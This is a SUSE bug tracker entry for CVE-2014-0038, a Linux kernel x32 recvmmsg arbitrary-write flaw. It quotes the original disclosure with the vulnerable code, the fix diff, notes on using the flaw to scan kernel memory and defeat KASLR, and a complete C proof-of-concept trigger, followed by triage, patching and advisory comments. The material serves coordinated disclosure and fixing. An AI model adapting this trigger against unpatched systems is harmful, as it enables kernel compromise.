Bug 860993 (CVE-2014-0038) - VUL-0: CVE-2014-0038: kernel: 3.4+: arbitrary write with CONFIG_X86_X32
Summary: VUL-0: CVE-2014-0038: kernel: 3.4+: arbitrary write with CONFIG_X86_X32
Status: RESOLVED FIXED
Alias: CVE-2014-0038
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P1 - Urgent : Critical
Target Milestone: ---
Assignee: Jiri Slaby
QA Contact: Security Team bot
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2014-01-29 07:42 UTC by Sebastian Krahmer
Modified: 2018-07-03 20:47 UTC (History)
6 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Sebastian Krahmer 2014-01-29 07:42:29 UTC
Via vendor-sec, sorry the patch + PoC was inline:

This appears to be a serious bug, so I'd like to make sure distros
have time to prepare updates but PaX Team really wants to get this
fixes ASAP. When is the soonest Coordinated Release Date distros can
handle?

(I have no CVE assigned for this since I'm still waiting for my 2014
allocation.)

Reported by pageexec at
https://code.google.com/p/chromium/issues/detail?id=338594, which is
restricted, so here's the full report:
----
asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
                                    unsigned int vlen, unsigned int flags,
                                    struct compat_timespec __user *timeout)
{
        int datagrams;
        struct timespec ktspec;

        if (flags & MSG_CMSG_COMPAT)
                return -EINVAL;

        if (COMPAT_USE_64BIT_TIME)
                return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                      flags | MSG_CMSG_COMPAT,
                                      (struct timespec *) timeout);
/*...*/

The timeout pointer parameter is provided by userland (hence the
__user annotation) but for x32 syscalls it's simply cast to a kernel
pointer and is passed to __sys_recvmmsg which will eventually directly
dereference it for both reading and writing. Other callers to
__sys_recvmmsg properly copy from userland to the kernel first.

The impact is a sort of arbitrary kernel write-where-what primitive by
unprivileged users where the to-be-written area must contain valid
timespec data initially (the first 64 bit long field must be positive
and the second one must be < 1G).

The bug was introduced by commit
http://git.kernel.org/linus/ee4fa23c4b (other uses of
COMPAT_USE_64BIT_TIME seem fine) and should affect all kernels since
3.4 (and perhaps vendor kernels if they backported x32 support along
with this code). Note that CONFIG_X86_X32_ABI gets enabled at build
time and only if CONFIG_X86_X32 is enabled and ld can build x32
executables.

Suggested fix:
Signed-off-by: PaX Team <pageexec@freemail.hu>

--- a/net/compat.c  2014-01-20 12:36:54.372997752 +0100
+++ b/net/compat.c      2014-01-28 02:06:59.265506171 +0100
@@ -780,22 +780,25 @@
        if (flags & MSG_CMSG_COMPAT)
                return -EINVAL;

-       if (COMPAT_USE_64BIT_TIME)
-               return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
-                                     flags | MSG_CMSG_COMPAT,
-                                     (struct timespec *) timeout);
-
        if (timeout == NULL)
                return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                      flags | MSG_CMSG_COMPAT, NULL);

-       if (get_compat_timespec(&ktspec, timeout))
+       if (COMPAT_USE_64BIT_TIME) {
+               if (copy_from_user(&ktspec, timeout, sizeof(ktspec)))
+                       return -EFAULT;
+       } else if (get_compat_timespec(&ktspec, timeout))
                return -EFAULT;

        datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                   flags | MSG_CMSG_COMPAT, &ktspec);
-       if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
-               datagrams = -EFAULT;
+       if (datagrams > 0) {
+               if (COMPAT_USE_64BIT_TIME) {
+                       if (copy_to_user(timeout, &ktspec, sizeof(ktspec)))
+                               datagrams = -EFAULT;
+               } else if (put_compat_timespec(&ktspec, timeout))
+                       datagrams = -EFAULT;
+       }

        return datagrams;
 }

So I couldn't help it and created a simple PoC trigger based on the
example in the manpage. As it is, it'll just trigger a null-deref oops
on the read side:

BUG: unable to handle kernel NULL pointer dereference at 0000000000000009
IP: [<ffffffff82a333cb>] __sys_recvmmsg+0x3b/0x310

By passing an appropriate value for the timeout pointer one can
trigger the write side too. By the way, this also allows scanning the
kernel address space and even reveal KASLR (try every 2MB, if no oops
-> found the kernel), no doubt to Kees' delight :).

/*
 * PoC trigger for the linux 3.4+ recvmmsg x32 compat bug, based on the manpage
 *
 * https://code.google.com/p/chromium/issues/detail?id=338594
 *
 * $ while true; do echo $RANDOM > /dev/udp/127.0.0.1/1234; sleep 0.25; done
 */

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

int
main(void)
{
#define VLEN 10
#define BUFSIZE 200
#define TIMEOUT 1
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char bufs[VLEN][BUFSIZE+1];
    struct timespec timeout;

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(1234);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }

    memset(msgs, 0, sizeof(msgs));
    for (i = 0; i < VLEN; i++) {
        iovecs[i].iov_base         = bufs[i];
        iovecs[i].iov_len          = BUFSIZE;
        msgs[i].msg_hdr.msg_iov    = &iovecs[i];
        msgs[i].msg_hdr.msg_iovlen = 1;
    }

    timeout.tv_sec = TIMEOUT;
    timeout.tv_nsec = 0;

//    retval = recvmmsg(sockfd, msgs, VLEN, 0, &timeout);
//    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, &timeout);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)1ul);
    if (retval == -1) {
        perror("recvmmsg()");
        exit(EXIT_FAILURE);
    }

    printf("%d messages received\n", retval);
    for (i = 0; i < retval; i++) {
        bufs[i][msgs[i].msg_len] = 0;
        printf("%d %s", i+1, bufs[i]);
    }
    exit(EXIT_SUCCESS);
}
Comment 1 Sebastian Krahmer 2014-01-29 15:26:20 UTC
The embargo is reduced to 1 day as it seems. Huh.
Could we check in time whether this affects us at all?
Comment 2 Sebastian Krahmer 2014-01-29 15:31:14 UTC
I found this enabled on a 12.3, so this should make us twist.
Comment 3 Borislav Petkov 2014-01-29 16:32:00 UTC
* SLE11-SP3: not affected
* SLE12: applied to SLE12_EMBARGO
* oS12.3: applied to openSUSE-12.3_EMBARGO
* oS13.1: applied to openSUSE-13.1_EMBARGO

Adding mhocko for TD to CC.
Comment 5 Marcus Meissner 2014-01-31 08:59:38 UTC
Is public.

Please apply to public branches.


JEFFM, can you submit opensuse kernels?
Comment 6 Jiri Slaby 2014-02-01 19:45:00 UTC
I pushed to:
   8b75c19..b4ff60b  master -> master
   5531b68..fc9498b  stable -> stable
Comment 7 Marcus Meissner 2014-02-03 07:07:01 UTC
exploit:

https://github.com/saelo/cve-2014-0038
Comment 8 Bernhard Wiedemann 2014-02-03 22:00:54 UTC
This is an autogenerated message for OBS integration:
This bug (860993) was mentioned in
https://build.opensuse.org/request/show/220752 12.3 / kernel-source
Comment 9 Bernhard Wiedemann 2014-02-03 23:00:42 UTC
This is an autogenerated message for OBS integration:
This bug (860993) was mentioned in
https://build.opensuse.org/request/show/220753 13.1 / kernel-source
Comment 10 Marcus Meissner 2014-02-06 17:54:20 UTC
pull into SLE12 branch too please.

then you can close this bug
Comment 11 Swamp Workflow Management 2014-02-06 18:21:43 UTC
openSUSE-SU-2014:0204-1: An update that solves 16 vulnerabilities and has 12 fixes is now available.

Category: security (important)
Bug References: 804950,805226,808358,811746,825006,831836,838024,840226,840656,844513,848079,848255,849021,849023,849029,849034,849362,852373,852558,852559,853050,853051,853052,853053,854173,854634,854722,860993
CVE References: CVE-2013-0343,CVE-2013-1792,CVE-2013-4348,CVE-2013-4511,CVE-2013-4513,CVE-2013-4514,CVE-2013-4515,CVE-2013-4587,CVE-2013-6367,CVE-2013-6368,CVE-2013-6376,CVE-2013-6378,CVE-2013-6380,CVE-2013-6431,CVE-2013-7027,CVE-2014-0038
Sources used:
openSUSE 12.3 (src):    kernel-docs-3.7.10-1.28.2, kernel-source-3.7.10-1.28.1, kernel-syms-3.7.10-1.28.1
Comment 12 Borislav Petkov 2014-02-07 23:12:57 UTC
(In reply to comment #10)
> pull into SLE12 branch too please.
> 
> then you can close this bug

Assigning to jslaby for that since this fix is 2def2ef2ae5f3990aabdbe8a755911902707d268 now and in stable (3.12.10, among others).
Comment 13 Jiri Slaby 2014-02-14 08:56:16 UTC
Pushed to SLE12 some time ago:
commit 65584f5cbda19fce50a9db5422e3b054ec2aff8d
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Sun Feb 9 11:14:22 2014 +0100


Added this bnc to references now:
commit bdd826fd31dc62c278d9c34b4b2de46461cf5e81
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Fri Feb 14 09:55:11 2014 +0100


Can we close now?
Comment 14 Jiri Slaby 2014-02-14 08:57:12 UTC
.
Comment 15 Swamp Workflow Management 2017-12-04 14:08:07 UTC
SUSE-SU-2017:3210-1: An update that fixes 14 vulnerabilities is now available.

Category: security (important)
Bug References: 1047626,1059465,1066471,1066472,1069496,860993,975788
CVE References: CVE-2014-0038,CVE-2017-1000405,CVE-2017-12193,CVE-2017-15102,CVE-2017-16525,CVE-2017-16527,CVE-2017-16529,CVE-2017-16531,CVE-2017-16535,CVE-2017-16536,CVE-2017-16537,CVE-2017-16649,CVE-2017-16650,CVE-2017-16939
Sources used:
SUSE OpenStack Cloud 6 (src):    kernel-default-3.12.74-60.64.66.1, kernel-source-3.12.74-60.64.66.1, kernel-syms-3.12.74-60.64.66.1, kernel-xen-3.12.74-60.64.66.1, kgraft-patch-SLE12-SP1_Update_23-1-2.1
SUSE Linux Enterprise Server for SAP 12-SP1 (src):    kernel-default-3.12.74-60.64.66.1, kernel-source-3.12.74-60.64.66.1, kernel-syms-3.12.74-60.64.66.1, kernel-xen-3.12.74-60.64.66.1, kgraft-patch-SLE12-SP1_Update_23-1-2.1
SUSE Linux Enterprise Server 12-SP1-LTSS (src):    kernel-default-3.12.74-60.64.66.1, kernel-source-3.12.74-60.64.66.1, kernel-syms-3.12.74-60.64.66.1, kernel-xen-3.12.74-60.64.66.1, kgraft-patch-SLE12-SP1_Update_23-1-2.1
SUSE Linux Enterprise Module for Public Cloud 12 (src):    kernel-ec2-3.12.74-60.64.66.1
Comment 16 Swamp Workflow Management 2017-12-08 17:15:10 UTC
SUSE-SU-2017:3249-1: An update that solves 14 vulnerabilities and has 8 fixes is now available.

Category: security (important)
Bug References: 1043652,1047626,1066192,1066471,1066472,1066573,1066606,1066618,1066625,1066650,1066671,1066700,1066705,1067085,1067086,1067997,1069496,1069702,1069708,1070307,1070781,860993
CVE References: CVE-2014-0038,CVE-2017-1000405,CVE-2017-12193,CVE-2017-15102,CVE-2017-16525,CVE-2017-16527,CVE-2017-16529,CVE-2017-16531,CVE-2017-16535,CVE-2017-16536,CVE-2017-16537,CVE-2017-16649,CVE-2017-16650,CVE-2017-16939
Sources used:
SUSE Linux Enterprise Server 12-LTSS (src):    kernel-default-3.12.61-52.106.1, kernel-source-3.12.61-52.106.1, kernel-syms-3.12.61-52.106.1, kernel-xen-3.12.61-52.106.1, kgraft-patch-SLE12_Update_29-1-5.1
SUSE Linux Enterprise Module for Public Cloud 12 (src):    kernel-ec2-3.12.61-52.106.1